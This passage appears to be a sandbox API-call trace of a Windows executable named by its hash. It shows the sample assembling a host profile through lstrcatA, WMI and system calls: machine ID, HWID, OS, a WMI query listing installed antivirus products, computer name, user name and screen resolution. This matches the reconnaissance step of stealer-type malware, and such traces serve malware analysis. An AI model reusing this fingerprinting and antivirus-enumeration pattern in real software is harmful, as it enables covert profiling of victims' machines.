[0054.666] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\n"
[0054.666] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\n", lpString2="AV: " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: "
[0054.666] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1
[0054.666] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119
[0054.666] CoCreateInstance (in: rclsid=0x448c20*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x448b50*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x182250 | out: ppv=0x182250*=0x741a08) returned 0x0
[0054.666] WbemLocator:IWbemLocator:ConnectServer (in: This=0x741a08, strNetworkResource="", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x18225c | out: ppNamespace=0x18225c*=0x702828) returned 0x0
[0054.693] CoSetProxyBlanket (pProxy=0x702828, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x3, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0
[0054.693] IWbemServices:ExecQuery (in: This=0x702828, strQueryLanguage="WQL", strQuery="Select * From AntiVirusProduct", lFlags=32, pCtx=0x0, ppEnum=0x182254 | out: ppEnum=0x182254*=0x745110) returned 0x0
[0054.731] IEnumWbemClassObject:Next (in: This=0x745110, lTimeout=-1, uCount=0x1, apObjects=0x18224c, puReturned=0x182258 | out: apObjects=0x18224c*=0x75cd08, puReturned=0x182258*=0x1) returned 0x0
[0054.733] IWbemClassObject:Get (in: This=0x75cd08, wszName="displayName", lFlags=0, pVal=0x18223c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x18223c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Windows Defender", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
[0054.733] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67d910
[0054.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Windows Defender", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17
[0054.733] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x671500
[0054.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Windows Defender", cchWideChar=17, lpMultiByteStr=0x671500, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows Defender", lpUsedDefaultChar=0x0) returned 17
[0054.733] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67d948
[0054.733] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.733] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d948 | out: hHeap=0x670000) returned 1
[0054.733] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0054.733] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: ", lpString2="0Üg" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg"
[0054.733] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\n"
[0054.733] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\n", lpString2="Computer Name: " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: "
[0054.734] GetComputerNameA (in: lpBuffer=0x17a2c8, nSize=0x17a2c4 | out: lpBuffer="XC64ZB", nSize=0x17a2c4) returned 1
[0054.734] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: ", lpString2="XC64ZB" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB"
[0054.734] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\n"
[0054.734] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\n", lpString2="User Name: " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: "
[0054.734] GetUserNameA (in: lpBuffer=0x1821c4, pcbBuffer=0x1821c0 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x1821c0) returned 1
[0054.735] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: ", lpString2="RDhJ0CNFevzX" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX"
[0054.735] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\n"
[0054.735] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\n", lpString2="Display Resolution: " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: "
[0054.735] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x24010951
[0054.736] GetDeviceCaps (hdc=0x24010951, index=8) returned 1440
[0054.736] GetDeviceCaps (hdc=0x24010951, index=10) returned 900
[0054.736] ReleaseDC (hWnd=0x0, hDC=0x24010951) returned 1
[0054.736] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x671128
[0054.740] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671500
[0054.741] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d910
[0054.743] GetLastError () returned 0xcb
[0054.743] SetLastError (dwErrCode=0xcb)
[0054.743] GetLastError () returned 0xcb
[0054.743] SetLastError (dwErrCode=0xcb)
[0054.743] GetLastError () returned 0xcb
[0054.743] SetLastError (dwErrCode=0xcb)
[0054.743] GetLastError () returned 0xcb
[0054.743] SetLastError (dwErrCode=0xcb)
[0054.743] GetLastError () returned 0xcb
[0054.743] SetLastError (dwErrCode=0xcb)
[0054.743] GetLastError () returned 0xcb
[0054.743] SetLastError (dwErrCode=0xcb)
[0054.743] GetLastError () returned 0xcb
[0054.743] SetLastError (dwErrCode=0xcb)
[0054.743] GetLastError () returned 0xcb
[0054.743] SetLastError (dwErrCode=0xcb)
[0054.743] GetLastError () returned 0xcb
[0054.743] SetLastError (dwErrCode=0xcb)
[0054.744] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67d920
[0054.744] GetLastError () returned 0xcb
[0054.744] SetLastError (dwErrCode=0xcb)
[0054.744] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d920 | out: hHeap=0x670000) returned 1
[0054.744] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0054.744] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.744] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671128 | out: hHeap=0x670000) returned 1
[0054.744] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x671128
[0054.744] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671500
[0054.744] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d910
[0054.745] GetLastError () returned 0xcb
[0054.745] SetLastError (dwErrCode=0xcb)
[0054.745] GetLastError () returned 0xcb
[0054.745] SetLastError (dwErrCode=0xcb)
[0054.745] GetLastError () returned 0xcb
[0054.745] SetLastError (dwErrCode=0xcb)
[0054.745] GetLastError () returned 0xcb
[0054.745] SetLastError (dwErrCode=0xcb)
[0054.745] GetLastError () returned 0xcb
[0054.745] SetLastError (dwErrCode=0xcb)
[0054.745] GetLastError () returned 0xcb
[0054.745] SetLastError (dwErrCode=0xcb)
[0054.745] GetLastError () returned 0xcb
[0054.745] SetLastError (dwErrCode=0xcb)
[0054.745] GetLastError () returned 0xcb
[0054.745] SetLastError (dwErrCode=0xcb)
[0054.745] GetLastError () returned 0xcb
[0054.745] SetLastError (dwErrCode=0xcb)
[0054.745] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67d920
[0054.745] GetLastError () returned 0xcb
[0054.745] SetLastError (dwErrCode=0xcb)
[0054.746] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d920 | out: hHeap=0x670000) returned 1
[0054.746] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0054.746] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.746] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671128 | out: hHeap=0x670000) returned 1
[0054.746] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: ", lpString2="1440x900" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: 